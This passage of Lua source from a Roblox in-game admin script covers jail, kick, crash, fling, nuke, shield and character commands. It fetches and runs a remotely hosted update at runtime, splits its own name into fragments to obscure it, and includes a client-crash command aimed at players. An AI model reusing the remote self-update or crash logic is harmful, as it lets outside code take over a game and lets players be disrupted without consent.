862 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
863 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
864 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
865 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
866 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
867 Cell:MoveTo(Vector3.new(0,3,0))
868
869 if Player.Character and Player.Character:FindFirstChild("Torso") then
870 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
871 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
872 end
873 table.insert(Dispose, Cell)
874 Jails[Player.Name] = Cell
875end
876
877function CORE:UnJail(Player)
878 if not Player then return nil end
879 if Jails[Player.Name] then
880 Jails[Player.Name]:Destroy()
881 Jails[Player.Name] = nil
882 end
883end
884
885function CORE:ChangeName(Player, NewName)
886 if not Player or not NewName then return nil end
887 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
888 local NewName = STRING:FormatReplace(Player, NewName)
889
890 for _,Obj in pairs(Player.Character:GetChildren()) do
891 if Obj.Name == "Label" then Obj:Destroy() end
892 end
893
894 local Head = Player.Character.Head
895 local HeadClone = Head:Clone()
896
897 -- make actual head invisible
898 Head.Transparency = 1
899 ypcall(function() Head.face.Transparency = 1 end)
900
901 -- make fake head visible
902 HeadClone.Transparency = 0
903 ypcall(function() HeadClone.face.Transparency = 0 end)
904
905 local Label = Instance.new("Model", Player.Character)
906 Label.Name = "Label"
907
908 local Model = Instance.new("Model", Label)
909 Model.Name = NewName
910
911 local HumanoidClone = Instance.new("Humanoid", Model)
912 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
913
914 HeadClone.Parent = Model
915 HeadClone.Position = Vector3.new(0,100,0)
916 HeadClone.CanCollide = false
917 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
918
919 local Weld = Instance.new("Weld", HeadClone)
920 Weld.Part0 = HeadClone
921 Weld.Part1 = Head
922 end
923end
924
925function CORE:UpdateAdmin()
926 local UpdateModel = AdminID
927 if UpdateModel == 0 then return end
928 local NewAdminModel = nil
929 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
930 if NewAdminModel then
931 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
932 if NewAdmin then
933 local NewVersion = NewAdmin:FindFirstChild("Version")
934 if NewVersion.Value ~= CORE.Version.Value then
935 if ExploitModule then
936 ExploitModule.Disabled = true
937 ExploitModule:Destroy()
938 end
939 NewAdmin.Disabled = true
940 NewAdmin.Parent = Workspace
941 if not Settings then
942 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
943 if NewSettings then NewSettings.Parent = Workspace end
944 end
945 wait() NewAdmin.Disabled = false
946 CORE:RemoveAdmin()
947 else
948 NewAdminModel:Destroy()
949 end
950 end
951 end
952end
953
954function CORE:UnpackPlayers(Players)
955 local PlayerNames = ""
956 for Num,Player in pairs(Players) do
957 if Player ~= nil then
958 if Num ~= #Players then
959 PlayerNames = PlayerNames..Player.Name..", "
960 else
961 PlayerNames = PlayerNames..Player.Name
962 end
963 end
964 end
965 return PlayerNames
966end
967
968function CORE:GetValue(Value)
969 if Value:IsA("StringValue") then
970 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
971 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
972 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
973 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
974 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
975 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
976 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
977 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
978 if Admin == Value.Value then
979 table.remove(Settings.Ranks["Admin"],Num)
980 end
981 end
982 end end
983 end
984end
985
986function CORE:GetPlayer(ID)
987 local Return = {"Unknown", ID}
988 if tonumber(ID) then
989 for _,Data in pairs(CharacterCache) do
990 if ID == Data[2] then
991 return Data
992 end
993 end
994 ypcall(function()
995 local Name = Server.Players:GetNameFromUserIdAsync(ID)
996 if Name then
997 local Data = {Name, ID}
998 table.insert(CharacterCache, Data)
999 Return = Data
1000 end
1001 end)
1002 else
1003 local Name = tostring(ID)
1004 for _,Data in pairs(CharacterCache) do
1005 if string.lower(Name) == string.lower(Data[1]) then
1006 return Data
1007 end
1008 end
1009 ypcall(function()
1010 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1011 if PlayerID then
1012 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1013 local Data = {Name, PlayerID}
1014 table.insert(CharacterCache, Data)
1015 Return = Data
1016 end
1017 end)
1018 end
1019
1020 return Return
1021end
1022
1023function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1024 if ID and #tostring(ID) >= 1 then
1025 local PlayerName = nil
1026
1027 local Players = STRING:Scan(ID, Speaker)
1028 if #Players >= 1 then -- if player is found in server
1029 ID = Players[1].UserId
1030 elseif tonumber(ID) then
1031 local Data = CORE:GetPlayer(ID)
1032 PlayerName = Data[1]
1033 else
1034 local Data = CORE:GetPlayer(tostring(ID))
1035 PlayerName = Data[1]
1036 ID = Data[2]
1037 end
1038
1039 if tonumber(ID) == 20018 then -- exploding easter bunny
1040 local OldID = ID
1041 ID = 1
1042 if Speaker then
1043 if RANK:GetRank(Speaker) == "Member" then
1044 coroutine.wrap(function()
1045 wait(1)
1046 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1047 end)()
1048 else ID = OldID
1049 end
1050 end
1051 elseif tonumber(ID) == 1311 then -- ffjosh
1052 local OldID = ID
1053 ID = 1
1054 if Speaker then
1055 if RANK:GetRank(Speaker) == "Member" then
1056 coroutine.wrap(function()
1057 wait(1)
1058 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1059 end)()
1060 else ID = OldID
1061 end
1062 end
1063 end
1064
1065 local Position = nil
1066 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1067 if ManualPos then
1068 Position = ManualPos
1069 else
1070 Position = Player.Character.Torso.Position
1071 end
1072 end
1073 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1074 wait() Player:LoadCharacter() wait()
1075 if Position then Player.Character:MoveTo(Position) end
1076 if not Perm then
1077 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1078 end
1079 if NameChar and PlayerName then
1080 wait(1)
1081 CORE:ChangeName(Player, PlayerName)
1082 end
1083 end
1084end)() end
1085
1086function CORE:GenerateShield(Player)
1087 if not Player then return nil end
1088 if not Player.Character then return nil end
1089 local Torso = Player.Character:FindFirstChild("Torso")
1090 if not Torso then return nil end
1091
1092 local Shield = Player.Character:FindFirstChild("Shield")
1093 if Shield then Shield:Destroy() end
1094
1095 Shield = Instance.new("Part", Player.Character)
1096 Shield.Name = "Shield"
1097 Shield.Locked = true
1098 Shield.CanCollide = false
1099 Shield.Size = Vector3.new(10,10,10)
1100 Shield.Shape = "Ball"
1101 Shield.Color = GUI:GetColor()
1102 Shield.Transparency = 0.5
1103 Shield.TopSurface = "Smooth"
1104 Shield.BottomSurface = "Smooth"
1105 Shield.Anchored = true
1106 Shield.Position = Torso.Position
1107
1108 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1109 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1110
1111 Hum:Play()
1112
1113 Shield.Touched:connect(function(Part)
1114 if Part.Parent ~= Server.Workspace then
1115 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1116 if Humanoid then
1117 local Char = Humanoid.Parent
1118 if Char:IsA("Model") and Humanoid.Health > 0 then
1119 if Char ~= Player.Character then
1120 Char:BreakJoints()
1121 Zap:Play()
1122 end
1123 end
1124 end
1125 end
1126 end)
1127
1128 coroutine.wrap(function() repeat wait()
1129 Shield.CFrame = Torso.CFrame
1130 until Torso.Parent == nil or Shield.Parent == nil end)()
1131end
1132
1133function CORE:FlingPlayer(Player)
1134 if Player and Player.Character then
1135 if Player.Character:FindFirstChild("Torso") then
1136 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1137 Fling.Name = "Fling"
1138 Fling.force = Vector3.new(10000,10000,10000)
1139 end
1140 end
1141end
1142
1143function CORE:Kick(Player, CustomMessage)
1144 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1145 coroutine.wrap(function()
1146 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1147 wait(1)
1148 Player:Kick(CustomMessage)
1149 end)()
1150end
1151
1152function CORE:Crash(Player)
1153 local Parent = Player
1154 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1155 elseif Player.Character then Parent = Player.Character end
1156
1157 CORE:ExecuteResource("Crash", Parent)
1158end
1159
1160function CORE:RestoreCamera(Player)
1161 if Player.Backpack then
1162 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1163 end
1164end
1165
1166function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1167 local function ScanInstance(Object)
1168 if #Object:GetChildren() > 0 then
1169 for _,Obj in pairs(Object:GetChildren()) do
1170 local IsType = false
1171 if ObjTypes and #ObjTypes > 0 then
1172 for _,ObjType in pairs(ObjTypes) do
1173 if Obj:IsA(ObjType) then
1174 IsType = true
1175 break
1176 end
1177 end
1178 else
1179 IsType = true
1180 end
1181 if IsType == true then
1182 ActiveFunc(Obj)
1183 end
1184 ScanInstance(Obj)
1185 end
1186 end
1187 end
1188 ScanInstance(BaseObj)
1189end
1190
1191function CORE:AnchorPlayer(Player)
1192 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1193
1194 Player.Character.Humanoid.WalkSpeed = 0
1195 for _,Object in pairs(Player.Character:GetChildren()) do
1196 if Object:IsA("BasePart") then
1197 Object.Anchored = true
1198 end
1199 end
1200end
1201
1202function CORE:UnanchorPlayer(Player)
1203 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1204
1205 Player.Character.Humanoid.WalkSpeed = 16
1206 for _,Object in pairs(Player.Character:GetChildren()) do
1207 if Object:IsA("BasePart") then
1208 Object.Anchored = false
1209 end
1210 end
1211end
1212
1213function CORE:InvisiblePlayer(Player)
1214 if not Player or not Player.Character then return end
1215
1216 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1217end
1218
1219function CORE:VisiblePlayer(Player)
1220 if not Player or not Player.Character then return end
1221
1222 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1223end
1224
1225function CORE:Nuke(Player) coroutine.wrap(function()
1226 local Pos = CFrame.new(0,1,0)
1227 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1228 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1229 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1230 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1231 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1232 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1233
1234 Server.Lighting.Brightness = 5
1235 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1236 Server.OutdoorAmbient = Color3.new(1,1,1)
1237
1238 local Exp = Instance.new("Explosion", Server.Workspace)
1239 Exp.Position = Pos.p
1240 Exp.BlastPressure = 10000000
1241 Exp.BlastRadius = 1000000
1242 Exp.Hit:connect(function(Part)
1243 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1244 ypcall(function()
1245 Part.Anchored = false
1246 Part.BrickColor = BrickColor.new("Black")
1247 Part.Material = "Slate"
1248 Part:BreakJoints()
1249 end)
1250 end
1251 end)
1252
1253 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1254 BoomSound:Play()
1255 for i = 0,100,0.5 do
1256 Blast.Anchored = true
1257 Wave.Anchored = true
1258 BlastMesh.Scale = Vector3.new(i,i,i)
1259 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1260 Blast.CFrame = Pos
1261 wait()
1262 end
1263 BoomSound:Stop()
1264 Blast:Destroy()
1265 Wave:Destroy()
1266 wait()
1267 BoomSound:Destroy()
1268 for i = 10,5,-1 do
1269 Server.Lighting.Brightness = (i-5) + 1
1270 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1271 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1272 wait(0.05)
1273 end
1274end)() end
1275
1276function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1277 local AssetID = tonumber(AssetID)
1278 local Item = nil
1279 if AssetID then
1280 local CanInsert = true
1281 if AbuseMode then
1282 for _,ID in pairs(RemoteAbuseGear) do
1283 if AssetID == ID then CanInsert = false break end
1284 end
1285 for _,ID in pairs(Settings.AbusableGear) do
1286 if AssetID == ID then CanInsert = false break end
1287 end
1288 end
1289 if CanInsert then
1290 Item = Server.IS:LoadAsset(AssetID)
1291
1292 if GetFirstChild then
1293 Item = Item:GetChildren()[1]
1294 if FirstChildTypes and Item then
1295 local ValidType = false
1296 for _,Type in pairs(FirstChildTypes) do
1297 if Item:IsA(Type) then
1298 ValidType = true
1299 break
1300 end
1301 end
1302 if ValidType == false then
1303 Item = nil
1304 end
1305 end
1306 end
1307 if Item and Parent then
1308 Item.Parent = Parent
1309 end
1310 end
1311 end
1312 return Item
1313end
1314
1315function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1316 if not Player or not Player.Character then return nil end
1317 PID = tonumber(PID)
1318 for _,Obj in pairs(Player.Character:GetChildren()) do
1319 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1320 end
1321 if PID then
1322 if PackageCache[PID] then
1323 for _,ID in pairs(PackageCache[PID]) do
1324 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1325 end
1326 else
1327 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1328 if IDsJSON then
1329 local IDs = REMOTE:Decode(IDsJSON)
1330 if IDs then
1331 if not IDs["Error"] then
1332 table.insert(PackageCache, IDs)
1333 for _,ID in pairs(IDs) do
1334 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1335 end
1336 end
1337 end
1338 end
1339 end
1340 end
1341end)() end
1342
1343function CORE:ChangeBet(Bet)
1344 if tostring(Bet) and Bet ~= Settings.Bet then
1345 for Index,Data in pairs(Commands) do
1346 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1347 end
1348 Settings.Bet = Bet
1349 end
1350end
1351
1352function CORE:ResetLighting()
1353 ModLighting = false wait(0.2) ModLighting = true
1354end
1355
1356function CORE:Fly(Player, Force)
1357 if Player and Player.Character then
1358 local StopFly = Instance.new("RemoteFunction", Player.Character)
1359 StopFly.Name = "StopMMLFly"
1360 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1361 end
1362end
1363
1364function CORE:GiveTools(Player, Type)
1365 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1366 Type = string.lower(Type)
1367 local _,RankNum = RANK:GetRank(Player)
1368 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1369 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1370
1371 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1372 for Name,Type in pairs(BaseBuildTools) do
1373 local Tool = Instance.new("HopperBin", Player.Backpack)
1374 Tool.Name = Name
1375 Tool.BinType = Type
1376 end
1377 elseif Type == "psbtools" then
1378 for _,Tool in pairs(BuildTools) do
1379 CORE:Insert(Tool, Player.Backpack, true)
1380 end
1381 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1382 if F3X then
1383 local F3X = F3X:Clone()
1384 F3X.Parent = Player.Backpack
1385 end
1386 elseif Type == "btools" then
1387 if F3X then
1388 local F3X = F3X:Clone()
1389 F3X.Parent = Player.Backpack
1390 end
1391 for Name,Type in pairs(BaseBuildTools) do
1392 local Tool = Instance.new("HopperBin", Player.Backpack)
1393 Tool.Name = Name
1394 Tool.BinType = Type
1395 end
1396 for _,Tool in pairs(BuildTools) do
1397 CORE:Insert(Tool, Player.Backpack, true)
1398 end
1399 else
1400 for _,Region in pairs(ToolRegions) do
1401 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1402 if Type == "all" then
1403 local NewItem = Item:Clone()
1404 NewItem.Parent = Player.Backpack
1405 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1406 local NewItem = Item:Clone()
1407 NewItem.Parent = Player.Backpack
1408 end
1409 end)
1410 end
1411 end
1412end
1413
1414function CORE:Scale(Player, ScalePercent)
1415 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1416 local Ratio = ScalePercent/100
1417 if Ratio < 0.05 then Ratio = 0.05 end
1418 if Ratio > 100 then Ratio = 100 end
1419 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1420 local Char = Player.Character
1421
1422 local Clean = Char:FindFirstChild("Clean")
1423 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1424 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1425
1426 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1427 local Welds = {}
1428 local Parts = {}
1429
1430 local function Handle(Obj)
1431 if Obj:IsA("BasePart") and not JustWeld then
1432 table.insert(Parts, Obj)
1433 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1434 if Obj.Name == "MML Mesh" then
1435 Obj:Destroy()
1436 end
1437 if Obj.MeshType == Enum.MeshType.FileMesh then
1438 Obj.Offset = Obj.Offset * ScaleRatio
1439 Obj.Scale = Obj.Scale * ScaleRatio
1440 elseif Ratio < 1 then
1441 Obj.Offset = Obj.Offset * ScaleRatio
1442 Obj.Scale = Obj.Scale * ScaleRatio
1443 end
1444 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1445 if Ratio < 1 then
1446 local BodyPart = ""
1447 local TextureID = Obj.BaseTextureId
1448 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1449 if TextureID == 0 then TextureID = nil end
1450 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1451 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1452 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1453 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1454 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1455 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1456 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1457 NewMesh.Name = "MML Mesh"
1458 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1459 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1460 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1461 Obj:Destroy()
1462 end
1463 elseif Obj:IsA("JointInstance") then
1464 local NewWeld = Obj:Clone()
1465 table.insert(Welds, {NewWeld, Obj.Parent})
1466 elseif NewAdd == true and not JustWeld then
1467 if Obj:IsA("Tool") then
1468 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1469 elseif Obj:IsA("Accoutrement") then
1470 --Cycle(Char.Head, ScaleRatio, false, true)
1471 end
1472 end
1473 if #Obj:GetChildren() > 0 then
1474 for _,NewObj in pairs(Obj:GetChildren()) do
1475 Handle(NewObj, ScaleRatio)
1476 end
1477 end
1478 end
1479 Handle(BaseObj)
1480 for _,Part in pairs(Parts) do
1481 if Ratio >= 1 then
1482 Part.Size = Part.Size * ScaleRatio
1483 else
1484 local Allowed = true
1485 for _,Obj in pairs(Part:GetChildren()) do
1486 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1487 Allowed = false
1488 end
1489 end
1490 if Allowed == true then
1491 local NewMesh = Instance.new("BlockMesh", Part)
1492 NewMesh.Name = "MML Mesh"
1493 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1494 end
1495 end
1496 end
1497 for _,WeldData in pairs(Welds) do
1498 if WeldData[1] then
1499 local Obj = WeldData[1]
1500 local NewWeld = Obj:Clone()
1501
1502 NewWeld.Parent = WeldData[2]
1503 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1504 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1505 end
1506 end
1507 for _,Part in pairs(Parts) do
1508 Part:MakeJoints()
1509 end
1510 Welds = {}
1511 Parts = {}
1512 end
1513 Cycle(Char, Ratio)
1514 Char:MakeJoints()
1515
1516 local Added = Char.ChildAdded:connect(function(Obj)
1517 Cycle(Obj, Ratio, NewAdd)
1518 end)
1519 local Removed = Char.ChildRemoved:connect(function(Obj)
1520 Cycle(Obj, Ratio^-1, NewAdd)
1521 end)
1522
1523 Clean.OnInvoke = function()
1524 Added:disconnect()
1525 Removed:disconnect()
1526 local Location = Vector3.new(0,5,0)
1527 if Char:FindFirstChild("Torso") then
1528 Location = Char.Torso.Position + Vector3.new(0,2,0)
1529 end
1530 Player:LoadCharacter()
1531 wait(0.5)
1532 Player.Character:MoveTo(Location)
1533 wait(0.5)
1534 return nil
1535 end
1536
1537 if Char:FindFirstChild("Torso") then
1538 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1539 end
1540 if Char:FindFirstChild("Humanoid") then
1541 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1542 end
1543 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1544 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1545 end
1546end
1547
1548function CORE:AddExploit(PlayerClient, Data)
1549 local PlayerClientName = PlayerClient.Name
1550 local NewData = CORE:GetTime(true, true).." @ "..Data
1551 for _,Player in pairs(Server.Players:GetChildren()) do
1552 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1553 end
1554 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1555 if type(ExploitLog) ~= "table" then
1556 Server.GDS:SetAsync("ExploitLog", {NewData})
1557 else
1558 table.insert(ExploitLog, NewData)
1559 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1560 end
1561 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1562
1563 return true
1564end
1565
1566function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1567 if not tostring(Name) then Name = "Dummy" end
1568 if not Position then Position = Vector3.new(0,5,0) end
1569 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1570 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1571 end
1572
1573 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1574 Figure:MakeJoints()
1575 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1576 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1577 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1578 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1579 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1580 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1581
1582 Figure.Name = STRING:FormatReplace(Speaker, Name)
1583 Figure:MoveTo(Position)
1584
1585 table.insert(Objects, Figure)
1586
1587 if DisableAnimation == true then
1588 Figure.Animate.Disabled = true
1589 end
1590
1591 return Figure
1592end
1593
1594function CORE:ClonePlayer(Player, Name, Position)
1595 if not Player or not Player.Character then return nil end
1596
1597 Player.Character.Archivable = true
1598 local Char = Player.Character:Clone()
1599 Player.Character.Archivable = false
1600 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1601 if Position then Char:MoveTo(Position) end
1602 Char.Parent = Server.Workspace
1603 Char:MakeJoints()
1604 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1605
1606 table.insert(Objects, Char)
1607
1608 return Obj
1609end
1610
1611function CORE:AddWaypoint(Name, Position, Speaker)
1612 Waypoints[Name] = Position
1613 if Speaker then
1614 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1615 end
1616end
1617
1618function CORE:FindType(BaseObj, Type)
1619 for _,Obj in pairs(BaseObj:GetChildren()) do
1620 if Obj:IsA(Type) then
1621 return Obj
1622 end
1623 end
1624end
1625
1626function CORE:GetCommands()
1627 local CommandsCopy = Commands
1628 return CommandsCopy
1629end
1630
1631function CORE:Crown(Player, Mesh, Color)
1632 if Mesh then Mesh = string.lower(Mesh) end
1633 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1634 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1635 local Part = Instance.new("Part", CrownStorage)
1636 Part.Size = Vector3.new(2, 1, 1)
1637 Part.CanCollide = false
1638 Part.CFrame = Player.Character.Head.CFrame
1639 Part.Locked = true
1640 Part.Material = "Neon"
1641 if Color then
1642 Part.Color = GUI:GetColor(Color)
1643 else
1644 Part.BrickColor = GUI:GetNameColor(Player.Name)
1645 end
1646 local SMesh = Instance.new("SpecialMesh", Part)
1647 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1648 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1649 local BP = Instance.new("BodyPosition", Part)
1650 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1651 BP.position = Player.Character.Head.Position
1652 BP.P = 20000
1653 local BG = Instance.new("BodyGyro", Part)
1654 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1655
1656 Crowns[Player.UserId] = Part
1657 table.insert(Objects, Part)
1658
1659 coroutine.wrap(function()
1660 for i = 1,0.3,-0.02 do
1661 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1662 Part.Transparency = i
1663 end
1664 wait()
1665 end
1666 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1667 for i = 0,360,3 do
1668 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1669 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1670 wait()
1671 end
1672 end
1673 end
1674 end)()
1675 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1676 Part:BreakJoints()
1677 for i = 0,360 do
1678 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1679 Part.Anchored = false
1680 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1681 BG.cframe = Player.Character.Head.CFrame
1682 end
1683 wait()
